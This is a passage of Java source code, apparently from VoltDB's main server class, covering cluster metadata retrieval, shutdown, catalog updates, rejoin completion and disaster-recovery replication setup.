zk.getData(VoltZK.cluster_metadata + "/" + hostId, false, cb, null);
callbacks.put(hostId, cb);
}
for (Map.Entry<Integer, ZKUtil.ByteArrayCallback> entry : callbacks.entrySet()) {
try {
ZKUtil.ByteArrayCallback cb = entry.getValue();
Integer hostId = entry.getKey();
clusterMetadata.put(hostId, new String(cb.getData(), "UTF-8"));
metadataToRetrieve.remove(hostId);
} catch (KeeperException.NoNodeException e) {}
catch (Exception e) {
VoltDB.crashLocalVoltDB("Error retrieving cluster metadata", true, e);
}
}
}
// print out cluster membership
hostLog.info("About to list cluster interfaces for all nodes with format [ip1 ip2 ... ipN] client-port,admin-port,http-port");
for (int hostId : m_messenger.getLiveHostIds()) {
if (hostId == m_messenger.getHostId()) {
hostLog.info(
String.format(
" Host id: %d with interfaces: %s [SELF]",
hostId,
MiscUtils.formatHostMetadataFromJSON(getLocalMetadata())));
}
else {
String hostMeta = clusterMetadata.get(hostId);
hostLog.info(
String.format(
" Host id: %d with interfaces: %s [PEER]",
hostId,
MiscUtils.formatHostMetadataFromJSON(hostMeta)));
}
}
try {
if (operationModeFuture.getData() != null) {
String operationModeStr = new String(operationModeFuture.getData(), "UTF-8");
m_startMode = OperationMode.valueOf(operationModeStr);
}
} catch (KeeperException.NoNodeException e) {}
catch (Exception e) {
throw new RuntimeException(e);
}
}
public static String[] extractBuildInfo(VoltLogger logger) {
StringBuilder sb = new StringBuilder(64);
try {
InputStream buildstringStream =
ClassLoader.getSystemResourceAsStream("buildstring.txt");
if (buildstringStream != null) {
byte b;
while ((b = (byte) buildstringStream.read()) != -1) {
sb.append((char)b);
}
String parts[] = sb.toString().split(" ", 2);
if (parts.length == 2) {
parts[0] = parts[0].trim();
parts[1] = parts[0] + "_" + parts[1].trim();
return parts;
}
}
} catch (Exception ignored) {
}
try {
InputStream versionstringStream = new FileInputStream("version.txt");
try {
byte b;
while ((b = (byte) versionstringStream.read()) != -1) {
sb.append((char)b);
}
return new String[] { sb.toString().trim(), "VoltDB" };
} finally {
versionstringStream.close();
}
}
catch (Exception ignored2) {
if (logger != null) {
logger.l7dlog(Level.ERROR, LogKeys.org_voltdb_VoltDB_FailedToRetrieveBuildString.name(), null);
}
return new String[] { m_defaultVersionString, "VoltDB" };
}
}
@Override
public void readBuildInfo(String editionTag) {
String buildInfo[] = extractBuildInfo(hostLog);
m_versionString = buildInfo[0];
m_buildString = buildInfo[1];
String buildString = m_buildString;
if (m_buildString.contains("_"))
buildString = m_buildString.split("_", 2)[1];
consoleLog.info(String.format("Build: %s %s %s", m_versionString, buildString, editionTag));
}
void logSystemSettingFromCatalogContext() {
if (m_catalogContext == null) {
return;
}
Deployment deploy = m_catalogContext.cluster.getDeployment().get("deployment");
Systemsettings sysSettings = deploy.getSystemsettings().get("systemsettings");
if (sysSettings == null) {
return;
}
hostLog.info("Elastic duration set to " + sysSettings.getElasticduration() + " milliseconds");
hostLog.info("Elastic throughput set to " + sysSettings.getElasticthroughput() + " mb/s");
hostLog.info("Max temptable size set to " + sysSettings.getTemptablemaxsize() + " mb");
hostLog.info("Snapshot priority set to " + sysSettings.getSnapshotpriority() + " [0 - 10]");
if (sysSettings.getQuerytimeout() > 0) {
hostLog.info("Query timeout set to " + sysSettings.getQuerytimeout() + " milliseconds");
m_config.m_queryTimeout = sysSettings.getQuerytimeout();
}
else if (sysSettings.getQuerytimeout() == 0) {
hostLog.info("Query timeout set to unlimited");
m_config.m_queryTimeout = 0;
}
}
/**
* Start all the site's event loops. That's it.
*/
@Override
public void run() {
if (m_restoreAgent != null) {
// start restore process
m_restoreAgent.restore();
}
else {
onRestoreCompletion(Long.MIN_VALUE, m_iv2InitiatorStartingTxnIds);
}
// Start the rejoin coordinator
if (m_joinCoordinator != null) {
try {
m_statusTracker.setNodeState(NodeState.REJOINING);
if (!m_joinCoordinator.startJoin(m_catalogContext.database)) {
VoltDB.crashLocalVoltDB("Failed to join the cluster", true, null);
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to join the cluster", true, e);
}
}
m_isRunning = true;
}
/**
* Try to shut everything down so they system is ready to call
* initialize again.
* @param mainSiteThread The thread that m_inititalized the VoltDB or
* null if called from that thread.
*/
@Override
public boolean shutdown(Thread mainSiteThread) throws InterruptedException {
synchronized(m_startAndStopLock) {
boolean did_it = false;
if (m_mode != OperationMode.SHUTTINGDOWN) {
did_it = true;
m_mode = OperationMode.SHUTTINGDOWN;
/*
* Various scheduled tasks get crashy in unit tests if they happen to run
* while other stuff is being shut down
*/
for (ScheduledFuture<?> sc : m_periodicWorks) {
sc.cancel(false);
try {
sc.get();
} catch (Throwable t) {}
}
//Shutdown import processors.
ImportManager.instance().shutdown();
m_periodicWorks.clear();
m_snapshotCompletionMonitor.shutdown();
m_periodicWorkThread.shutdown();
m_periodicWorkThread.awaitTermination(356, TimeUnit.DAYS);
m_periodicPriorityWorkThread.shutdown();
m_periodicPriorityWorkThread.awaitTermination(356, TimeUnit.DAYS);
if (m_elasticJoinService != null) {
m_elasticJoinService.shutdown();
}
if (m_leaderAppointer != null) {
m_leaderAppointer.shutdown();
}
m_globalServiceElector.shutdown();
if (m_hasStartedSampler.get()) {
m_sampler.setShouldStop();
m_sampler.join();
}
// shutdown the web monitoring / json
if (m_adminListener != null)
m_adminListener.stop();
// shut down the client interface
if (m_clientInterface != null) {
m_clientInterface.shutdown();
m_clientInterface = null;
}
// tell the iv2 sites to stop their runloop
if (m_iv2Initiators != null) {
for (Initiator init : m_iv2Initiators.values())
init.shutdown();
}
if (m_cartographer != null) {
m_cartographer.shutdown();
}
if (m_configLogger != null) {
m_configLogger.join();
}
// shut down Export and its connectors.
ExportManager.instance().shutdown();
// After sites are terminated, shutdown the DRProducer.
// The DRProducer is shared by all sites; don't kill it while any site is active.
if (m_producerDRGateway != null) {
try {
m_producerDRGateway.shutdown();
} catch (InterruptedException e) {
hostLog.warn("Interrupted shutting down invocation buffer server", e);
}
finally {
m_producerDRGateway = null;
}
}
shutdownReplicationConsumerRole();
if (m_snapshotIOAgent != null) {
m_snapshotIOAgent.shutdown();
}
// shut down the network/messaging stuff
// Close the host messenger first, which should close down all of
// the ForeignHost sockets cleanly
if (m_messenger != null)
{
m_messenger.shutdown();
}
m_messenger = null;
//Also for test code that expects a fresh stats agent
if (m_opsRegistrar != null) {
try {
m_opsRegistrar.shutdown();
}
finally {
m_opsRegistrar = null;
}
}
if (m_asyncCompilerAgent != null) {
m_asyncCompilerAgent.shutdown();
m_asyncCompilerAgent = null;
}
ExportManager.instance().shutdown();
m_computationService.shutdown();
m_computationService.awaitTermination(1, TimeUnit.DAYS);
m_computationService = null;
m_catalogContext = null;
m_initiatorStats = null;
m_latencyStats = null;
m_latencyHistogramStats = null;
AdHocCompilerCache.clearHashCache();
org.voltdb.iv2.InitiatorMailbox.m_allInitiatorMailboxes.clear();
PartitionDRGateway.m_partitionDRGateways = ImmutableMap.of();
// probably unnecessary, but for tests it's nice because it
// will do the memory checking and run finalizers
System.gc();
System.runFinalization();
m_isRunning = false;
}
return did_it;
}
}
/** Last transaction ID at which the logging config updated.
* Also, use the intrinsic lock to safeguard access from multiple
* execution site threads */
private static Long lastLogUpdate_txnId = 0L;
@Override
synchronized public void logUpdate(String xmlConfig, long currentTxnId)
{
// another site already did this work.
if (currentTxnId == lastLogUpdate_txnId) {
return;
}
else if (currentTxnId < lastLogUpdate_txnId) {
throw new RuntimeException(
"Trying to update logging config at transaction " + lastLogUpdate_txnId
+ " with an older transaction: " + currentTxnId);
}
hostLog.info("Updating RealVoltDB logging config from txnid: " +
lastLogUpdate_txnId + " to " + currentTxnId);
lastLogUpdate_txnId = currentTxnId;
VoltLogger.configure(xmlConfig);
}
/** Struct to associate a context with a counter of served sites */
private static class ContextTracker {
ContextTracker(CatalogContext context, CatalogSpecificPlanner csp) {
m_dispensedSites = 1;
m_context = context;
m_csp = csp;
}
long m_dispensedSites;
final CatalogContext m_context;
final CatalogSpecificPlanner m_csp;
}
/** Associate transaction ids to contexts */
private final HashMap<Long, ContextTracker>m_txnIdToContextTracker =
new HashMap<>();
@Override
public Pair<CatalogContext, CatalogSpecificPlanner> catalogUpdate(
String diffCommands,
byte[] newCatalogBytes,
byte[] catalogBytesHash,
int expectedCatalogVersion,
long currentTxnId,
long currentTxnUniqueId,
byte[] deploymentBytes,
byte[] deploymentHash)
{
try {
synchronized(m_catalogUpdateLock) {
m_statusTracker.setNodeState(NodeState.UPDATING);
// A site is catching up with catalog updates
if (currentTxnId <= m_catalogContext.m_transactionId && !m_txnIdToContextTracker.isEmpty()) {
ContextTracker contextTracker = m_txnIdToContextTracker.get(currentTxnId);
// This 'dispensed' concept is a little crazy fragile. Maybe it would be better
// to keep a rolling N catalogs? Or perhaps to keep catalogs for N minutes? Open
// to opinions here.
contextTracker.m_dispensedSites++;
int ttlsites = VoltDB.instance().getSiteTrackerForSnapshot().getSitesForHost(m_messenger.getHostId()).size();
if (contextTracker.m_dispensedSites == ttlsites) {
m_txnIdToContextTracker.remove(currentTxnId);
}
return Pair.of( contextTracker.m_context, contextTracker.m_csp);
}
else if (m_catalogContext.catalogVersion != expectedCatalogVersion) {
hostLog.fatal("Failed catalog update." +
" expectedCatalogVersion: " + expectedCatalogVersion +
" currentTxnId: " + currentTxnId +
" currentTxnUniqueId: " + currentTxnUniqueId +
" m_catalogContext.catalogVersion " + m_catalogContext.catalogVersion);
throw new RuntimeException("Trying to update main catalog context with diff " +
"commands generated for an out-of date catalog. Expected catalog version: " +
expectedCatalogVersion + " does not match actual version: " + m_catalogContext.catalogVersion);
}
hostLog.info(String.format("Globally updating the current application catalog and deployment " +
"(new hashes %s, %s).",
Encoder.hexEncode(catalogBytesHash).substring(0, 10),
Encoder.hexEncode(deploymentHash).substring(0, 10)));
// get old debugging info
SortedMap<String, String> oldDbgMap = m_catalogContext.getDebuggingInfoFromCatalog();
byte[] oldDeployHash = m_catalogContext.deploymentHash;
// 0. A new catalog! Update the global context and the context tracker
m_catalogContext =
m_catalogContext.update(
currentTxnId,
currentTxnUniqueId,
newCatalogBytes,
catalogBytesHash,
diffCommands,
true,
deploymentBytes);
final CatalogSpecificPlanner csp = new CatalogSpecificPlanner( m_asyncCompilerAgent, m_catalogContext);
m_txnIdToContextTracker.put(currentTxnId,
new ContextTracker(
m_catalogContext,
csp));
// log the stuff that's changed in this new catalog update
SortedMap<String, String> newDbgMap = m_catalogContext.getDebuggingInfoFromCatalog();
for (Entry<String, String> e : newDbgMap.entrySet()) {
// skip log lines that are unchanged
if (oldDbgMap.containsKey(e.getKey()) && oldDbgMap.get(e.getKey()).equals(e.getValue())) {
continue;
}
hostLog.info(e.getValue());
}
//Construct the list of partitions and sites because it simply doesn't exist anymore
SiteTracker siteTracker = VoltDB.instance().getSiteTrackerForSnapshot();
List<Long> sites = siteTracker.getSitesForHost(m_messenger.getHostId());
List<Integer> partitions = new ArrayList<>();
for (Long site : sites) {
Integer partition = siteTracker.getPartitionForSite(site);
partitions.add(partition);
}
// 1. update the export manager.
ExportManager.instance().updateCatalog(m_catalogContext, partitions);
// 1.1 Update the elastic join throughput settings
if (m_elasticJoinService != null) m_elasticJoinService.updateConfig(m_catalogContext);
// 1.5 update the dead host timeout
if (m_catalogContext.cluster.getHeartbeattimeout() * 1000 != m_config.m_deadHostTimeoutMS) {
m_config.m_deadHostTimeoutMS = m_catalogContext.cluster.getHeartbeattimeout() * 1000;
m_messenger.setDeadHostTimeout(m_config.m_deadHostTimeoutMS);
}
// 2. update client interface (asynchronously)
// CI in turn updates the planner thread.
if (m_clientInterface != null) {
m_clientInterface.notifyOfCatalogUpdate();
}
// 3. update HTTPClientInterface (asynchronously)
// This purges cached connection state so that access with
// stale auth info is prevented.
if (m_adminListener != null)
{
m_adminListener.notifyOfCatalogUpdate();
}
// 4. Flush StatisticsAgent old catalog statistics.
// Otherwise, the stats agent will hold all old catalogs
// in memory.
getStatsAgent().notifyOfCatalogUpdate();
// 5. MPIs don't run fragments. Update them here. Do
// this after flushing the stats -- this will re-register
// the MPI statistics.
if (m_MPI != null) {
m_MPI.updateCatalog(diffCommands, m_catalogContext, csp);
}
// Update catalog for import processor this should be just/stop start and updat partitions.
ImportManager.instance().updateCatalog(m_catalogContext, m_messenger);
// 6. Perform updates required by the DR subsystem
// 6.1. Create the DR consumer if we've just enabled active-active.
// Perform any actions that would have been taken during the ordinary
// initialization path
if (createDRConsumerIfNeeded()) {
for (int pid : m_cartographer.getPartitions()) {
// Notify the consumer of leaders because it was disabled before
ClientInterfaceRepairCallback callback = (ClientInterfaceRepairCallback) m_consumerDRGateway;
callback.repairCompleted(pid, m_cartographer.getHSIdForMaster(pid));
}
m_consumerDRGateway.initialize(false);
}
// 6.2. If we are a DR replica, we may care about a
// deployment update
if (m_consumerDRGateway != null) {
m_consumerDRGateway.updateCatalog(m_catalogContext);
}
// 6.3. If we are a DR master, update the DR table signature hash
if (m_producerDRGateway != null) {
m_producerDRGateway.updateCatalog(m_catalogContext,
VoltDB.getReplicationPort(m_catalogContext.cluster.getDrproducerport()));
}
new ConfigLogging().logCatalogAndDeployment();
// log system setting information if the deployment config has changed
if (!Arrays.equals(oldDeployHash, m_catalogContext.deploymentHash)) {
logSystemSettingFromCatalogContext();
}
// restart resource usage monitoring task
startResourceUsageMonitor();
checkHeapSanity(MiscUtils.isPro(), m_catalogContext.tables.size(),
(m_iv2Initiators.size() - 1), m_configuredReplicationFactor);
checkThreadsSanity();
return Pair.of(m_catalogContext, csp);
}
} finally {
//Set state back to UP
m_statusTracker.setNodeState(NodeState.UP);
}
}
@Override
public Pair<CatalogContext, CatalogSpecificPlanner> settingsUpdate(
ClusterSettings settings, final int expectedVersionId)
{
CatalogSpecificPlanner csp = new CatalogSpecificPlanner(m_asyncCompilerAgent, m_catalogContext);
synchronized(m_catalogUpdateLock) {
int stamp [] = new int[]{0};
ClusterSettings expect = m_clusterSettings.get(stamp);
if ( stamp[0] == expectedVersionId
&& m_clusterSettings.compareAndSet(expect, settings, stamp[0], expectedVersionId+1)
) {
try {
settings.store();
} catch (SettingsException e) {
hostLog.error(e);
throw e;
}
} else if (stamp[0] != expectedVersionId+1) {
String msg = "Failed to update cluster setting to version " + (expectedVersionId + 1)
+ ", from current version " + stamp[0] + ". Reloading from Zookeeper";
hostLog.warn(msg);
m_clusterSettings.load(m_messenger.getZK());
}
if (m_MPI != null) {
m_MPI.updateSettings(m_catalogContext, csp);
}
// good place to set deadhost timeout once we make it a config
}
return Pair.of(m_catalogContext, csp);
}
@Override
public VoltDB.Configuration getConfig() {
return m_config;
}
@Override
public String getBuildString() {
return m_buildString == null ? "VoltDB" : m_buildString;
}
@Override
public String getVersionString() {
return m_versionString;
}
public final VersionChecker m_versionChecker = new VersionChecker() {
@Override
public boolean isCompatibleVersionString(String other) {
return RealVoltDB.this.isCompatibleVersionString(other);
}
@Override
public String getVersionString() {
return RealVoltDB.this.getVersionString();
}
@Override
public String getBuildString() {
return RealVoltDB.this.getBuildString();
}
};
/**
* Used for testing when you don't have an instance. Should do roughly what
* {@link #isCompatibleVersionString(String)} does.
*/
public static boolean staticIsCompatibleVersionString(String versionString) {
return versionString.matches(m_defaultHotfixableRegexPattern);
}
@Override
public boolean isCompatibleVersionString(String versionString) {
return versionString.matches(m_hotfixableRegexPattern);
}
@Override
public String getEELibraryVersionString() {
return m_defaultVersionString;
}
@Override
public HostMessenger getHostMessenger() {
return m_messenger;
}
@Override
public ClientInterface getClientInterface() {
return m_clientInterface;
}
@Override
public OpsAgent getOpsAgent(OpsSelector selector) {
return m_opsRegistrar.getAgent(selector);
}
@Override
public StatsAgent getStatsAgent() {
OpsAgent statsAgent = m_opsRegistrar.getAgent(OpsSelector.STATISTICS);
assert(statsAgent instanceof StatsAgent);
return (StatsAgent)statsAgent;
}
@Override
public MemoryStats getMemoryStatsSource() {
return m_memoryStats;
}
@Override
public CatalogContext getCatalogContext() {
return m_catalogContext;
}
/**
* Tells if the VoltDB is running. m_isRunning needs to be set to true
* when the run() method is called, and set to false when shutting down.
*
* @return true if the VoltDB is running.
*/
@Override
public boolean isRunning() {
return m_isRunning;
}
@Override
public void halt() {
Thread shutdownThread = new Thread() {
@Override
public void run() {
hostLog.warn("VoltDB node shutting down as requested by @StopNode command.");
System.exit(0);
}
};
shutdownThread.start();
}
/**
* Debugging function - creates a record of the current state of the system.
* @param out PrintStream to write report to.
*/
public void createRuntimeReport(PrintStream out) {
// This function may be running in its own thread.
out.print("MIME-Version: 1.0\n");
out.print("Content-type: multipart/mixed; boundary=\"reportsection\"");
out.print("\n\n--reportsection\nContent-Type: text/plain\n\nClientInterface Report\n");
if (m_clientInterface != null) {
out.print(m_clientInterface.toString() + "\n");
}
}
@Override
public BackendTarget getBackendTargetType() {
return m_config.m_backend;
}
@Override
public synchronized void onExecutionSiteRejoinCompletion(long transferred) {
m_executionSiteRecoveryFinish = System.currentTimeMillis();
m_executionSiteRecoveryTransferred = transferred;
onRejoinCompletion();
}
private void onRejoinCompletion() {
// null out the rejoin coordinator
if (m_joinCoordinator != null) {
m_joinCoordinator.close();
}
m_joinCoordinator = null;
// Mark the data transfer as done so CL can make the right decision when a truncation snapshot completes
m_rejoinDataPending = false;
try {
m_testBlockRecoveryCompletion.acquire();
} catch (InterruptedException e) {}
final long delta = ((m_executionSiteRecoveryFinish - m_recoveryStartTime) / 1000);
final long megabytes = m_executionSiteRecoveryTransferred / (1024 * 1024);
final double megabytesPerSecond = megabytes / ((m_executionSiteRecoveryFinish - m_recoveryStartTime) / 1000.0);
if (m_clientInterface != null) {
m_clientInterface.mayActivateSnapshotDaemon();
try {
m_clientInterface.startAcceptingConnections();
} catch (IOException e) {
hostLog.l7dlog(Level.FATAL,
LogKeys.host_VoltDB_ErrorStartAcceptingConnections.name(),
e);
VoltDB.crashLocalVoltDB("Error starting client interface.", true, e);
}
if (m_producerDRGateway != null && !m_producerDRGateway.isStarted()) {
// Start listening on the DR ports
prepareReplication();
}
}
startResourceUsageMonitor();
try {
if (m_adminListener != null) {
m_adminListener.start();
}
} catch (Exception e) {
hostLog.l7dlog(Level.FATAL, LogKeys.host_VoltDB_ErrorStartHTTPListener.name(), e);
VoltDB.crashLocalVoltDB("HTTP service unable to bind to port.", true, e);
}
// Allow export datasources to start consuming their binary deques safely
// as at this juncture the initial truncation snapshot is already complete
ExportManager.instance().startPolling(m_catalogContext);
//Tell import processors that they can start ingesting data.
ImportManager.instance().readyForData(m_catalogContext, m_messenger);
if (m_config.m_startAction == StartAction.REJOIN) {
consoleLog.info(
"Node data recovery completed after " + delta + " seconds with " + megabytes +
" megabytes transferred at a rate of " +
megabytesPerSecond + " megabytes/sec");
}
try {
final ZooKeeper zk = m_messenger.getZK();
boolean logRecoveryCompleted = false;
if (getCommandLog().getClass().getName().equals("org.voltdb.CommandLogImpl")) {
String requestNode = zk.create(VoltZK.request_truncation_snapshot_node, null,
Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT_SEQUENTIAL);
if (m_rejoinTruncationReqId == null) {
m_rejoinTruncationReqId = requestNode;
}
} else {
logRecoveryCompleted = true;
}
// Join creates a truncation snapshot as part of the join process,
// so there is no need to wait for the truncation snapshot requested
// above to finish.
if (logRecoveryCompleted || m_joining) {
if (m_rejoining) {
CoreZK.removeRejoinNodeIndicatorForHost(m_messenger.getZK(), m_myHostId);
m_rejoining = false;
}
String actionName = m_joining ? "join" : "rejoin";
m_joining = false;
consoleLog.info(String.format("Node %s completed", actionName));
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to log host rejoin completion to ZK", true, e);
}
hostLog.info("Logging host rejoin completion to ZK");
if (!m_joining) {
m_statusTracker.setNodeState(NodeState.UP);
Object args[] = { (VoltDB.instance().getMode() == OperationMode.PAUSED) ? "PAUSED" : "NORMAL"};
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerOpMode.name(), args, null);
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerCompletedInitialization.name(), null, null);
}
}
@Override
public CommandLog getCommandLog() {
return m_commandLog;
}
@Override
public OperationMode getMode()
{
return m_mode;
}
@Override
public void setMode(OperationMode mode)
{
if (m_mode != mode)
{
if (mode == OperationMode.PAUSED)
{
m_config.m_isPaused = true;
m_statusTracker.setNodeState(NodeState.PAUSED);
hostLog.info("Server is entering admin mode and pausing.");
}
else if (m_mode == OperationMode.PAUSED)
{
m_config.m_isPaused = false;
m_statusTracker.setNodeState(NodeState.UP);
hostLog.info("Server is exiting admin mode and resuming operation.");
}
}
m_mode = mode;
}
@Override
public void setStartMode(OperationMode mode) {
m_startMode = mode;
}
@Override
public OperationMode getStartMode()
{
return m_startMode;
}
@Override
public void setReplicationRole(ReplicationRole role)
{
if (role == ReplicationRole.NONE && m_config.m_replicationRole == ReplicationRole.REPLICA) {
consoleLog.info("Promoting replication role from replica to master.");
hostLog.info("Promoting replication role from replica to master.");
shutdownReplicationConsumerRole();
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERNODE, 0);
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERPARTITION, 0);
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERNODE, 0,
new DRConsumerStatsBase.DRConsumerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERPARTITION, 0,
new DRConsumerStatsBase.DRConsumerPartitionStatsBase());
}
m_config.m_replicationRole = role;
if (m_clientInterface != null) {
m_clientInterface.setReplicationRole(m_config.m_replicationRole);
}
}
private void shutdownReplicationConsumerRole() {
if (m_consumerDRGateway != null) {
try {
m_consumerDRGateway.shutdown(true);
} catch (InterruptedException e) {
hostLog.warn("Interrupted shutting down dr replication", e);
}
finally {
m_consumerDRGateway = null;
}
}
}
@Override
public ReplicationRole getReplicationRole()
{
return m_config.m_replicationRole;
}
/**
* Metadata is a JSON object
*/
@Override
public String getLocalMetadata() {
return m_localMetadata;
}
@Override
public void onRestoreCompletion(long txnId, Map<Integer, Long> perPartitionTxnIds) {
/*
* Command log is already initialized if this is a rejoin or a join
*/
if ((m_commandLog != null) && (m_commandLog.needsInitialization())) {
// Initialize command logger
m_commandLog.init(m_catalogContext.cluster.getLogconfig().get("log").getLogsize(),
txnId, m_cartographer.getPartitionCount(),
m_config.m_commandLogBinding,
perPartitionTxnIds);
try {
ZKCountdownLatch latch =
new ZKCountdownLatch(m_messenger.getZK(),
VoltZK.commandlog_init_barrier, m_messenger.getLiveHostIds().size());
latch.countDown(true);
latch.await();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to init and wait on command log init barrier", true, e);
}
}
/*
* IV2: After the command log is initialized, force the writing of the initial
* viable replay set. Turns into a no-op with no command log, on the non-leader sites, and on the MPI.
*/
for (Initiator initiator : m_iv2Initiators.values()) {
initiator.enableWritingIv2FaultLog();
}
/*
* IV2: From this point on, not all node failures should crash global VoltDB.
*/
if (m_leaderAppointer != null) {
m_leaderAppointer.onReplayCompletion();
}
if (!m_rejoining && !m_joining) {
if (m_clientInterface != null) {
try {
m_clientInterface.startAcceptingConnections();
} catch (IOException e) {
hostLog.l7dlog(Level.FATAL,
LogKeys.host_VoltDB_ErrorStartAcceptingConnections.name(),
e);
VoltDB.crashLocalVoltDB("Error starting client interface.", true, e);
}
}
// Start listening on the DR ports
prepareReplication();
startResourceUsageMonitor();
// Allow export datasources to start consuming their binary deques safely
// as at this juncture the initial truncation snapshot is already complete
ExportManager.instance().startPolling(m_catalogContext);
//Tell import processors that they can start ingesting data.
ImportManager.instance().readyForData(m_catalogContext, m_messenger);
}
try {
if (m_adminListener != null) {
m_adminListener.start();
}
} catch (Exception e) {
hostLog.l7dlog(Level.FATAL, LogKeys.host_VoltDB_ErrorStartHTTPListener.name(), e);
VoltDB.crashLocalVoltDB("HTTP service unable to bind to port.", true, e);
}
if (m_startMode != null) {
m_mode = m_startMode;
} else {
// Shouldn't be here, but to be safe
m_mode = OperationMode.RUNNING;
}
if (!m_rejoining && !m_joining) {
Object args[] = { (m_mode == OperationMode.PAUSED) ? "PAUSED" : "NORMAL"};
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerOpMode.name(), args, null);
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_ServerCompletedInitialization.name(), null, null);
}
// Create a zk node to indicate initialization is completed
m_messenger.getZK().create(VoltZK.init_completed, null, Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT, new ZKUtil.StringCallback(), null);
m_statusTracker.setNodeState(NodeState.UP);
}
@Override
public SnapshotCompletionMonitor getSnapshotCompletionMonitor() {
return m_snapshotCompletionMonitor;
}
@Override
public synchronized void recoveryComplete(String requestId) {
assert(m_rejoinDataPending == false);
if (m_rejoining) {
if (m_rejoinTruncationReqId.compareTo(requestId) <= 0) {
String actionName = m_joining ? "join" : "rejoin";
// remove the rejoin blocker
CoreZK.removeRejoinNodeIndicatorForHost(m_messenger.getZK(), m_myHostId);
consoleLog.info(String.format("Node %s completed", actionName));
m_rejoinTruncationReqId = null;
m_rejoining = false;
}
else {
// If we saw some other truncation request ID, then try the same one again. As long as we
// don't flip the m_rejoining state, all truncation snapshot completions will call back to here.
try {
final ZooKeeper zk = m_messenger.getZK();
String requestNode = zk.create(VoltZK.request_truncation_snapshot_node, null,
Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT_SEQUENTIAL);
if (m_rejoinTruncationReqId == null) {
m_rejoinTruncationReqId = requestNode;
}
}
catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to retry post-rejoin truncation snapshot request.", true, e);
}
}
}
}
@Override
public ScheduledExecutorService getSES(boolean priority) {
return priority ? m_periodicPriorityWorkThread : m_periodicWorkThread;
}
/**
* See comment on {@link VoltDBInterface#scheduleWork(Runnable, long, long, TimeUnit)} vs
* {@link VoltDBInterface#schedulePriorityWork(Runnable, long, long, TimeUnit)}
*/
@Override
public ScheduledFuture<?> scheduleWork(Runnable work,
long initialDelay,
long delay,
TimeUnit unit) {
if (delay > 0) {
return m_periodicWorkThread.scheduleWithFixedDelay(work,
initialDelay, delay,
unit);
} else {
return m_periodicWorkThread.schedule(work, initialDelay, unit);
}
}
@Override
public ListeningExecutorService getComputationService() {
return m_computationService;
}
private void prepareReplication() {
try {
if (m_producerDRGateway != null) {
m_producerDRGateway.initialize(m_catalogContext.cluster.getDrproducerenabled(),
VoltDB.getReplicationPort(m_catalogContext.cluster.getDrproducerport()),
VoltDB.getDefaultReplicationInterface());
}
if (m_consumerDRGateway != null) {
m_consumerDRGateway.initialize(m_config.m_startAction != StartAction.CREATE);
}
} catch (Exception ex) {
CoreUtils.printPortsInUse(hostLog);
VoltDB.crashLocalVoltDB("Failed to initialize DR", false, ex);
}
}
private boolean createDRConsumerIfNeeded() {
if (!m_config.m_isEnterprise
|| (m_consumerDRGateway != null)
|| !m_catalogContext.cluster.getDrconsumerenabled()) {
if (!m_config.m_isEnterprise || !m_catalogContext.cluster.getDrconsumerenabled()) {
// This is called multiple times but the new value will be ignored if a StatSource has been assigned
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERNODE, 0,
new DRConsumerStatsBase.DRConsumerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERPARTITION, 0,
new DRConsumerStatsBase.DRConsumerPartitionStatsBase());
}
return false;
}
if (m_config.m_replicationRole == ReplicationRole.REPLICA ||
m_catalogContext.database.getIsactiveactivedred()) {
String drProducerHost = m_catalogContext.cluster.getDrmasterhost();
byte drConsumerClusterId = (byte)m_catalogContext.cluster.getDrclusterid();
if (m_catalogContext.cluster.getDrconsumerenabled() &&
(drProducerHost == null || drProducerHost.isEmpty())) {
VoltDB.crashLocalVoltDB("Cannot start as DR consumer without an enabled DR data connection.");
}
try {
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERNODE, 0);
getStatsAgent().deregisterStatsSourcesFor(StatsSelector.DRCONSUMERPARTITION, 0);
Class<?> rdrgwClass = Class.forName("org.voltdb.dr2.ConsumerDRGatewayImpl");
Constructor<?> rdrgwConstructor = rdrgwClass.getConstructor(
String.class,
ClientInterface.class,
Cartographer.class,
HostMessenger.class,
byte.class);
m_consumerDRGateway = (ConsumerDRGateway) rdrgwConstructor.newInstance(
drProducerHost,
m_clientInterface,
m_cartographer,
m_messenger,
drConsumerClusterId);
m_globalServiceElector.registerService(m_consumerDRGateway);
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to load DR system", true, e);
}
return true;
}
else {
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERNODE, 0,
new DRConsumerStatsBase.DRConsumerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRCONSUMERPARTITION, 0,
new DRConsumerStatsBase.DRConsumerPartitionStatsBase());
}
return false;
}
// Thread safe
@Override
public void setReplicationActive(boolean active)
{
if (m_replicationActive.compareAndSet(!active, active)) {
try {
JSONStringer js = new JSONStringer();
js.object();
// Replication role should the be same across the cluster
js.key("role").value(getReplicationRole().ordinal());
js.key("active").value(m_replicationActive.get());
js.endObject();
getHostMessenger().getZK().setData(VoltZK.replicationconfig,
js.toString().getBytes("UTF-8"),
-1);
} catch (Exception e) {
e.printStackTrace();
hostLog.error("Failed to write replication active state to ZK: " +
e.getMessage());
}
if (m_producerDRGateway != null) {
m_producerDRGateway.setActive(active);
}
}
}
@Override
public boolean getReplicationActive()
{
return m_replicationActive.get();
}
@Override
public ProducerDRGateway getNodeDRGateway()
{
return m_producerDRGateway;
}
@Override
public ConsumerDRGateway getConsumerDRGateway() {
return m_consumerDRGateway;
}
@Override
public void onSyncSnapshotCompletion() {
m_leaderAppointer.onSyncSnapshotCompletion();
}
@Override
